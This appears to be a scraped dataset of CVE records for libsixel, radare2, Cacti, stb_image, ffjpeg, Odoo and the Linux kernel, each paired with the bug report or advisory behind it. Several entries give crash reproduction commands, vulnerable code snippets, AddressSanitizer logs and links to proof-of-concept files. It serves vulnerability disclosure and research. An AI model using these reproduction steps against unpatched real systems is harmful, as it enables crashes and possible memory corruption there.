"baseSeverity": "HIGH",
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
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"source": "[email protected]",
"type": "Primary"
}
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] | github.com | [
"saitoha",
"libsixel"
] | # libsixel
## version
libsixel 1.8.2
## description
```txt
None
```
## download link
None
## others
please send email to [email protected] if you have any questions.
---------------------
## [email protected]:650_integer_overflow
### description
An issue was discovered in libsixel 1.8.2, There is an integer overflow in function sixel_decode_raw_impl at fromsixel.c:650
### commandline
img2sixel @@ -o /dev/null
### source
In a while loop, it do not check if integer overflow is in `context->param = context->param * 10 + *p - '0';`
```cpp
switch (*p) {
case '\x1b':
context->state = PS_ESC;
p++;
break;
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
context->param = context->param * 10 + *p - '0';
p++;
break;
case ';':
if (context->nparams < DECSIXEL_PARAMS_MAX) {
context->params[context->nparams++] = context->param;
}
context->param = 0;
p++;
break;
default:
``` | An integer overflow in function sixel_decode_raw_impl at fromsixel.c:650 | https://api.github.com/repos/saitoha/libsixel/issues/105/comments | 2 | 2019-12-02T10:52:00Z | 2019-12-17T12:05:12Z | https://github.com/saitoha/libsixel/issues/105 | 531,047,331 | 105 |
CVE-2019-19638 | 2019-12-08T03:15:11.100 | An issue was discovered in libsixel 1.8.2. There is a heap-based buffer overflow in the function load_pnm at frompnm.c, due to an integer overflow. | {
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"acInsufInfo": false,
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"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
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"impactScore": 6.4,
"obtainAllPrivilege": false,
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"source": "[email protected]",
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"userInteractionRequired": false
}
],
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
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] | https://github.com/saitoha/libsixel/issues/102 | [
"Third Party Advisory"
] | github.com | [
"saitoha",
"libsixel"
] |
# libsixel
## version
libsixel 1.8.2
## description
```txt
None
```
## download link
None
## others
please send email to [email protected] if you have any questions.
---------------------
## [email protected]:289-50___heap-buffer-overflow
### description
An issue was discovered in libsixel 1.8.2, There is a/an heap-buffer-overflow in function load_pnm at frompnm.c:289-50
### commandline
img2sixel @@ -o /dev/null
### source
```c
285 goto unknown;
286 }
287
288 *(*result + (y * width + x) * 3 + 0) = component[0];
> 289 *(*result + (y * width + x) * 3 + 1) = \*bug=>*\ component[1];
290 *(*result + (y * width + x) * 3 + 2) = component[2];
291 }
292 }
293
294 *psx = width;
```
### bug report
```txt
=================================================================
==14542==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00001f21c at pc 0x7f8b8b6e9f1c bp 0x7ffc5d2e6fb0 sp 0x7ffc5d2e6fa8
WRITE of size 1 at 0x61d00001f21c thread T0
#0 0x7f8b8b6e9f1b in load_pnm /src/libsixel/src/frompnm.c:289:50
#1 0x7f8b8b64e415 in load_with_builtin /src/libsixel/src/loader.c:801:18
#2 0x7f8b8b64e415 in sixel_helper_load_image_file /src/libsixel/src/loader.c:1352
#3 0x7f8b8b6f95bc in sixel_encoder_encode /src/libsixel/src/encoder.c:1737:14
#4 0x4ebd82 in main /src/libsixel/converters/img2sixel.c:457:22
#5 0x7f8b8a23682f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#6 0x418d38 in _start (/src/aflbuild/installed/bin/img2sixel+0x418d38)
0x61d00001f21c is located 0 bytes to the right of 1948-byte region [0x61d00001ea80,0x61d00001f21c)
allocated by thread T0 here:
#0 0x4b8e68 in malloc (/src/aflbuild/installed/bin/img2sixel+0x4b8e68)
#1 0x7f8b8b6e87b7 in load_pnm /src/libsixel/src/frompnm.c:211:32
#2 0x7f8b8b64e415 in load_with_builtin /src/libsixel/src/loader.c:801:18
#3 0x7f8b8b64e415 in sixel_helper_load_image_file /src/libsixel/src/loader.c:1352
#4 0x7f8b8b6f95bc in sixel_encoder_encode /src/libsixel/src/encoder.c:1737:14
#5 0x4ebd82 in main /src/libsixel/converters/img2sixel.c:457:22
#6 0x7f8b8a23682f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libsixel/src/frompnm.c:289:50 in load_pnm
Shadow bytes around the buggy address:
0x0c3a7fffbdf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffbe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffbe10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffbe20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffbe30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fffbe40: 00 00 00[04]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffbe50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffbe60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffbe70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffbe80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffbe90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14542==ABORTING
```
### others
from fuzz project pwd-libsixel-img2sixel-03
crash name pwd-libsixel-img2sixel-03-00000050-20191121.pnm
Auto-generated by pyspider at 2019-11-21 05:33:37
please send email to [email protected] if you have any questions.
| A heap-buffer-overflow found in function load_pnm at frompnm.c:289-50, due to integer overflow | https://api.github.com/repos/saitoha/libsixel/issues/102/comments | 2 | 2019-12-02T10:47:41Z | 2019-12-17T12:06:25Z | https://github.com/saitoha/libsixel/issues/102 | 531,044,924 | 102 |
CVE-2019-19647 | 2019-12-09T01:15:10.280 | radare2 through 4.0.0 lacks validation of the content variable in the function r_asm_pseudo_incbin at libr/asm/asm.c, ultimately leading to an arbitrary write. This allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via crafted input. | {
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"cvssData": {
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
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},
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"source": "[email protected]",
"type": "Primary"
}
]
} | [
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"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/radareorg/radare2/issues/15545"
},
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"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WRQXCOVFWZIIMAZIAAFAVQGZOS7LGHXP/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YQTOWEDFXDTGTD6D4NHRB4FUURQSTTEN/"
}
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] | https://github.com/radareorg/radare2/issues/15545 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"radareorg",
"radare2"
] | ### Work environment
| Questions | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory) | Ubuntu x86 64
| File format of the file you reverse (mandatory) | None
| Architecture/bits of the file (mandatory) | None
| r2 -v full output, **not truncated** (mandatory) | radare2 4.1.0-git 23530 @ linux-x86-64 git.4.0.0-174-gb7cc6999a commit: b7cc6999ac0bfaff51039af960ac86b2e6bb1c91 build: 2019-12-05__21:51:53
### Expected behavior
```bash
$ r2 malloc://1024
[0x00000000]> /a .incbin NoExistFile 0 0 # Expect No Crash
```
### Actual behavior
```bash
$ r2 malloc://1024
[0x00000000]> /a .incbin NoExistFile 0 0
Segmentation fault
```
### Steps to reproduce the behavior
- Please follow the steps I list above
### Additional Logs, screenshots, source-code, configuration dump, ...
At [libr/asm/asm.c](https://github.com/radareorg/radare2/blob/204b7317beb1ede1ba352b13f7ebb09efff1c55d/libr/asm/asm.c#L157), the lack of validation check of variable [content](https://github.com/radareorg/radare2/blob/204b7317beb1ede1ba352b13f7ebb09efff1c55d/libr/asm/asm.c#L165) will cause crash and arbitrary read via craft input.
below is the vulnerable code.
```c
static inline int r_asm_pseudo_incbin(RAsmOp *op, char *input) {
int bytes_read = 0;
r_str_replace_char (input, ',', ' ');
// int len = r_str_word_count (input);
r_str_word_set0 (input);
//const char *filename = r_str_word_get0 (input, 0);
int skip = (int)r_num_math (NULL, r_str_word_get0 (input, 1));
int count = (int)r_num_math (NULL,r_str_word_get0 (input, 2));
char *content = r_file_slurp (input, &bytes_read);
if (skip > 0) {
skip = skip > bytes_read ? bytes_read : skip;
}
if (count > 0) {
count = count > bytes_read ? 0 : count;
} else {
count = bytes_read;
}
// Need to handle arbitrary amount of data
r_buf_free (op->buf_inc);
op->buf_inc = r_buf_new_with_string (content + skip);
// Terminate the original buffer
free (content);
return count;
}
```
If `r_file_slurp` tries to open an invalid file, `content` will be NULL. Later, because `skip` is the input number, `r_buf_new_with_string (content + skip)` will cause crash, or arbitrary write via crafted input. | Lack of Validation Check for `r_asm_pseudo_incbin` at `libr/asm/asm.c` | https://api.github.com/repos/radareorg/radare2/issues/15545/comments | 1 | 2019-12-06T07:49:36Z | 2019-12-15T22:38:41Z | https://github.com/radareorg/radare2/issues/15545 | 533,802,860 | 15,545 |
CVE-2019-17358 | 2019-12-12T14:15:16.133 | Cacti through 1.2.7 is affected by multiple instances of lib/functions.php unsafe deserialization of user-controlled data to populate arrays. An authenticated attacker could use this to influence object data values and control actions taken by Cacti or potentially cause memory corruption in the PHP module. | {
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"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 5.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8,
"impactScore": 4.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
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"confidentialityImpact": "NONE",
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"privilegesRequired": "LOW",
"scope": "UNCHANGED",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.2,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
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"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00001.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00005.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00042.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00048.html"
},
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2019-17358"
},
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"url": "https://github.com/Cacti/cacti/blob/79f29cddb5eb05cbaff486cd634285ef1fed9326/lib/functions.php#L3109"
},
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"source": "[email protected]",
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"Product",
"Third Party Advisory"
],
"url": "https://github.com/Cacti/cacti/commit/adf221344359f5b02b8aed43dfb6b33ae5d708c8"
},
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"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/Cacti/cacti/issues/3026"
},
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"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2019/12/msg00014.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-17358.html"
},
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"source": "[email protected]",
"tags": null,
"url": "https://seclists.org/bugtraq/2020/Jan/25"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://security.gentoo.org/glsa/202003-40"
},
{
"source": "[email protected]",
"tags": [
"Not Applicable"
],
"url": "https://www.darkmatter.ae/xen1thlabs/"
},
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"source": "[email protected]",
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"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Cacti",
"cacti"
] | **Describe the bug**
As reported by Eldar Marcussen of xen1thLabs, Cacti's unserialization of form data does not properly validate the form input which can result in unsafe unserialization operations.
**Expected behavior**
Cacti should always check serialized data for expected formatting, or utilize JSON data within the form post to avoid the use of the unserialize() function when dealing with untrusted data. | When deserializating data, ensure basic sanitization has been performed | https://api.github.com/repos/Cacti/cacti/issues/3026/comments | 2 | 2019-10-12T19:52:09Z | 2020-06-30T12:54:19Z | https://github.com/Cacti/cacti/issues/3026 | 506,230,365 | 3,026 |
CVE-2019-19777 | 2019-12-13T02:15:10.893 | stb_image.h (aka the stb image loader) 2.23, as used in libsixel and other products, has a heap-based buffer over-read in stbi__load_main. | {
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"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
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"obtainAllPrivilege": false,
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},
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"source": "[email protected]",
"type": "Primary"
}
]
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"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/saitoha/libsixel/issues/109"
}
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"Exploit",
"Third Party Advisory"
] | github.com | [
"saitoha",
"libsixel"
] | version : img2sixel 1.8.2
There is a heap-buffer-overflow in stbi__load_main at stb_image.h:5580
please run following cmd to reproduce it.
```
img2sixel --monochrome $PoC
```
[poc](https://drive.google.com/file/d/1KHIYy8gfuMFHKVyb_dpOPVKSpPVeikUK/view?usp=sharing)
ASAN LOG
```
==9030==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000004df1 at pc 0x0000004d90f2 bp 0x7ffc27974b30 sp 0x7ffc279742e0
READ of size 3 at 0x602000004df1 thread T0
#0 0x4d90f1 in __asan_memcpy (/home/tmp/img2sixel+0x4d90f1)
#1 0x7f3daf9e5623 in stbi__load_main /home/tmp/libsixel/src/./stb_image.h:5580:31
#2 0x7f3daf938f1b in stbi__load_and_postprocess_8bit /home/tmp/libsixel/src/./stb_image.h:1090:19
#3 0x7f3daf9877e7 in load_with_builtin /home/tmp/libsixel/src/loader.c:882:25
#4 0x7f3daf9877e7 in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1352
#5 0x7f3dafbd0d4f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#6 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#7 0x7f3dadf33b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#8 0x41a379 in _start (/home/tmp/img2sixel+0x41a379)
0x602000004df1 is located 0 bytes to the right of 1-byte region [0x602000004df0,0x602000004df1)
allocated by thread T0 here:
#0 0x4da230 in __interceptor_malloc (/home/tmp/img2sixel+0x4da230)
#1 0x7f3daf9e205a in stbi_malloc /home/tmp/libsixel/src/loader.c:76:12
#2 0x7f3daf9e205a in stbi__malloc /home/tmp/libsixel/src/./stb_image.h:859
#3 0x7f3daf9e205a in stbi__malloc_mad2 /home/tmp/libsixel/src/./stb_image.h:920
#4 0x7f3daf9e205a in stbi__tga_load /home/tmp/libsixel/src/./stb_image.h:5527
#5 0x7f3daf9e205a in stbi__load_main /home/tmp/libsixel/src/./stb_image.h:1011
#6 0x7f3daf938f1b in stbi__load_and_postprocess_8bit /home/tmp/libsixel/src/./stb_image.h:1090:19
#7 0x7f3daf9877e7 in load_with_builtin /home/tmp/libsixel/src/loader.c:882:25
#8 0x7f3daf9877e7 in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1352
#9 0x7f3dafbd0d4f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#10 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#11 0x7f3dadf33b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/tmp/img2sixel+0x4d90f1) in __asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff8960: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8970: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8980: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8990: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff89a0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c047fff89b0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa[01]fa
0x0c047fff89c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff89d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9030==ABORTING
```
| heap-buffer-overflow in stbi__load_main at stb_image.h:5580 | https://api.github.com/repos/saitoha/libsixel/issues/109/comments | 3 | 2019-12-12T14:03:22Z | 2019-12-18T05:20:36Z | https://github.com/saitoha/libsixel/issues/109 | 536,997,354 | 109 |
CVE-2019-19778 | 2019-12-13T02:15:10.940 | An issue was discovered in libsixel 1.8.2. There is a heap-based buffer over-read in the function load_sixel at loader.c. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"saitoha",
"libsixel"
] | version : img2sixel 1.8.2
There is a heap-buffer-overflow in load_sixel at loader.c:629
please run following cmd to reproduce it.
```
img2sixel --high-color $PoC
```
[poc](https://drive.google.com/file/d/1siMEF20AcBJhV_RDuNrgnHZz5EvYlGMT/view?usp=sharing)
ASAN LOG
```
==36913==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000054d at pc 0x7fb5cf29ac7d bp 0x7ffc97cfe350 sp 0x7ffc97cfe348
READ of size 1 at 0x60400000054d thread T0
#0 0x7fb5cf29ac7c in load_sixel /home/tmp/libsixel/src/loader.c:629:36
#1 0x7fb5cf29ac7c in load_with_builtin /home/tmp/libsixel/src/loader.c:782
#2 0x7fb5cf29ac7c in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1352
#3 0x7fb5cf4d8d4f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#4 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#5 0x7fb5cd83bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x41a379 in _start (/home/tmp/img2sixel+0x41a379)
Address 0x60400000054d is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/tmp/libsixel/src/loader.c:629:36 in load_sixel
Shadow bytes around the buggy address:
0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff80a0: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa
0x0c087fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==36913==ABORTING
``` | heap-buffer-overflow in load_sixel at loader.c:629 | https://api.github.com/repos/saitoha/libsixel/issues/110/comments | 2 | 2019-12-12T15:11:41Z | 2019-12-15T15:40:23Z | https://github.com/saitoha/libsixel/issues/110 | 537,037,845 | 110 |
CVE-2019-19887 | 2019-12-18T19:15:11.843 | bitstr_tell at bitstr.c in ffjpeg through 2019-08-21 has a NULL pointer dereference related to jfif_encode. | {
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"source": "[email protected]",
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"source": "[email protected]",
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}
]
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"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/rockcarry/ffjpeg/issues/14"
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] | https://github.com/rockcarry/ffjpeg/issues/14 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"rockcarry",
"ffjpeg"
] | run `ffjpeg -e poc.bmp` in linux
result in gdb.
```
Stopped reason: SIGSEGV
0x0000000000401968 in bitstr_tell (stream=0x0) at bitstr.c:221
221 int type = *(int*)stream;
gdb-peda$
```
steam is a pointer which is null in this case. Dereferencing null pointer cause segment fault.
fix:
```
long bitstr_tell(void *stream)
{
if( stream == NULL ){
return EOF;
}
int type = *(int*)stream;
switch (type) {
case BITSTR_MEM : return mbitstr_tell(stream);
case BITSTR_FILE: return fbitstr_tell(stream);
}
return EOF;
}
```
[poc.zip](https://github.com/rockcarry/ffjpeg/files/3974199/poc.zip) | SegmentFault in jfif_encode at jfif.c:842 | https://api.github.com/repos/rockcarry/ffjpeg/issues/14/comments | 1 | 2019-12-17T15:58:08Z | 2020-02-24T07:35:00Z | https://github.com/rockcarry/ffjpeg/issues/14 | 539,157,799 | 14 |
CVE-2019-19888 | 2019-12-18T19:15:11.937 | jfif_decode in jfif.c in ffjpeg through 2019-08-21 has a divide-by-zero error. | {
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"source": "[email protected]",
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}
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"tags": [
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"Third Party Advisory"
],
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] | https://github.com/rockcarry/ffjpeg/issues/13 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"rockcarry",
"ffjpeg"
] | file: jfif.c function: jfif_decode line: 425
mcuw = sfh_max * 8;
mcuh = sfv_max * 8;
jw = ALIGN(jfif->width , mcuw);
jh = ALIGN(jfif->height, mcuh);
mcuc = jw / mcuw; <------- mcuw can be zero
mcur = jh / mcuh;
//-- calculate mcu info | Deny of Service caused by dividing zero without sanity check in jfif.c | https://api.github.com/repos/rockcarry/ffjpeg/issues/13/comments | 3 | 2019-12-17T06:48:47Z | 2020-07-27T06:47:58Z | https://github.com/rockcarry/ffjpeg/issues/13 | 538,872,327 | 13 |
CVE-2019-11780 | 2019-12-19T16:16:42.370 | Improper access control in the computed fields system of the framework of Odoo Community 13.0 and Odoo Enterprise 13.0 allows remote authenticated attackers to access sensitive information via crafted RPC requests, which could lead to privilege escalation. | {
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"availabilityImpact": "NONE",
"baseScore": 5.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 8,
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"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
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}
],
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},
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},
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"version": "3.1"
},
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"impactScore": 5.2,
"source": "[email protected]",
"type": "Secondary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/odoo/odoo/issues/42196"
}
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"Patch",
"Third Party Advisory"
] | github.com | [
"odoo",
"odoo"
] | # Security Advisory - ODOO-SA-2019-10-25-1
Improper access control in the computed fields system of the framework of Odoo Community 13.0 and Odoo Enterprise 13.0 allows remote authenticated attackers to access sensitive information via crafted RPC requests, which could lead to privilege escalation.
**Affects**: Odoo Community Edition 13.0 and Odoo Enterprise Edition 13.0
**Component**: Core/Framework
**Credits**: Swapnesh Shah
**CVE ID**: [CVE-2019-11780](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11780)
## I. Background
The Odoo Framework includes a facility for automatically computed fields,
that can be cached in the database (stored fields), or only computed on
the fly.
As of Odoo 13.0, changes in the framework include a modification of the
default behavior for computed fields, they are now computed in "super-user"
by default. Previously this option needed to be explicitly set in the field
declaration.
## II. Problem Description
Computing stored fields in super-user mode makes sense because the result
must not depend on the user that is triggering the computation. Proper ACLs
will still apply when it comes to accessing the field value after computation.
However non-stored fields may have values that depend on the context of the
call that computes them, including the current user and its access level.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: User account required
**CVSS3 Score**: High :: 8.1
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
A malicious user (including external portal users) could craft a request to
trigger the computation of non-stored fields that could reveal sensitive
information, and bypass the intented access rights definition, leading
to privilege escalation.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
There is no known workaround, applying the patches is strongly recommended.
Odoo Cloud servers (Odoo Online and Odoo.sh) have been patched as soon as
the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation.
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/13.0/setup/update.html
If you choose to apply the patch instead, change into the main directory of
your Odoo installation (the one containing "odoo" and "addons" directories),
then execute the patch command, typically:
patch -p0 -f < /path/to/the_patch_file.patch
This command assumes your installation layout corresponds to the latest source
code layout of the Odoo project on GitHub. If your installation differs, please
extract the various patch hunks from the files and apply them in the appropriate
locations.
## VI. Correction details
The following list contains the revisions after which the vulnerability
is corrected:
- 13.0: odoo/odoo@843fd38a97f02b49dc09d7f55919072d272fd80e
- 13.0-ent: 13.0 patch + odoo/enterprise@d1bd484f2ca4829210d97b5a000f28dd7ddb3583
For Odoo Enterprise 13.0, both patches are required.
| [SEC] ODOO-SA-2019-10-25-1 (CVE-2019-11780) - Improper access control in the computed fiel... | https://api.github.com/repos/odoo/odoo/issues/42196/comments | 0 | 2019-12-19T15:42:28Z | 2019-12-19T15:42:29Z | https://github.com/odoo/odoo/issues/42196 | 540,393,344 | 42,196 |
CVE-2019-19922 | 2019-12-22T20:15:10.823 | kernel/sched/fair.c in the Linux kernel before 5.3.9, when cpu.cfs_quota_us is used (e.g., with Kubernetes), allows attackers to cause a denial of service against non-cpu-bound applications by generating a workload that triggers unwanted slice expiration, aka CID-de53fd7aedb1. (In other words, although this slice expiration would typically be seen with benign workloads, it is possible that an attacker could calculate how many stray requests are required to force an entire Kubernetes cluster into a low-performance state caused by slice expiration, and ensure that a DDoS attack sent that number of stray requests. An attack does not affect the stability of the kernel; it only causes mismanagement of application execution.) | {
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"baseSeverity": "LOW",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 2.1,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:L/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 3.9,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
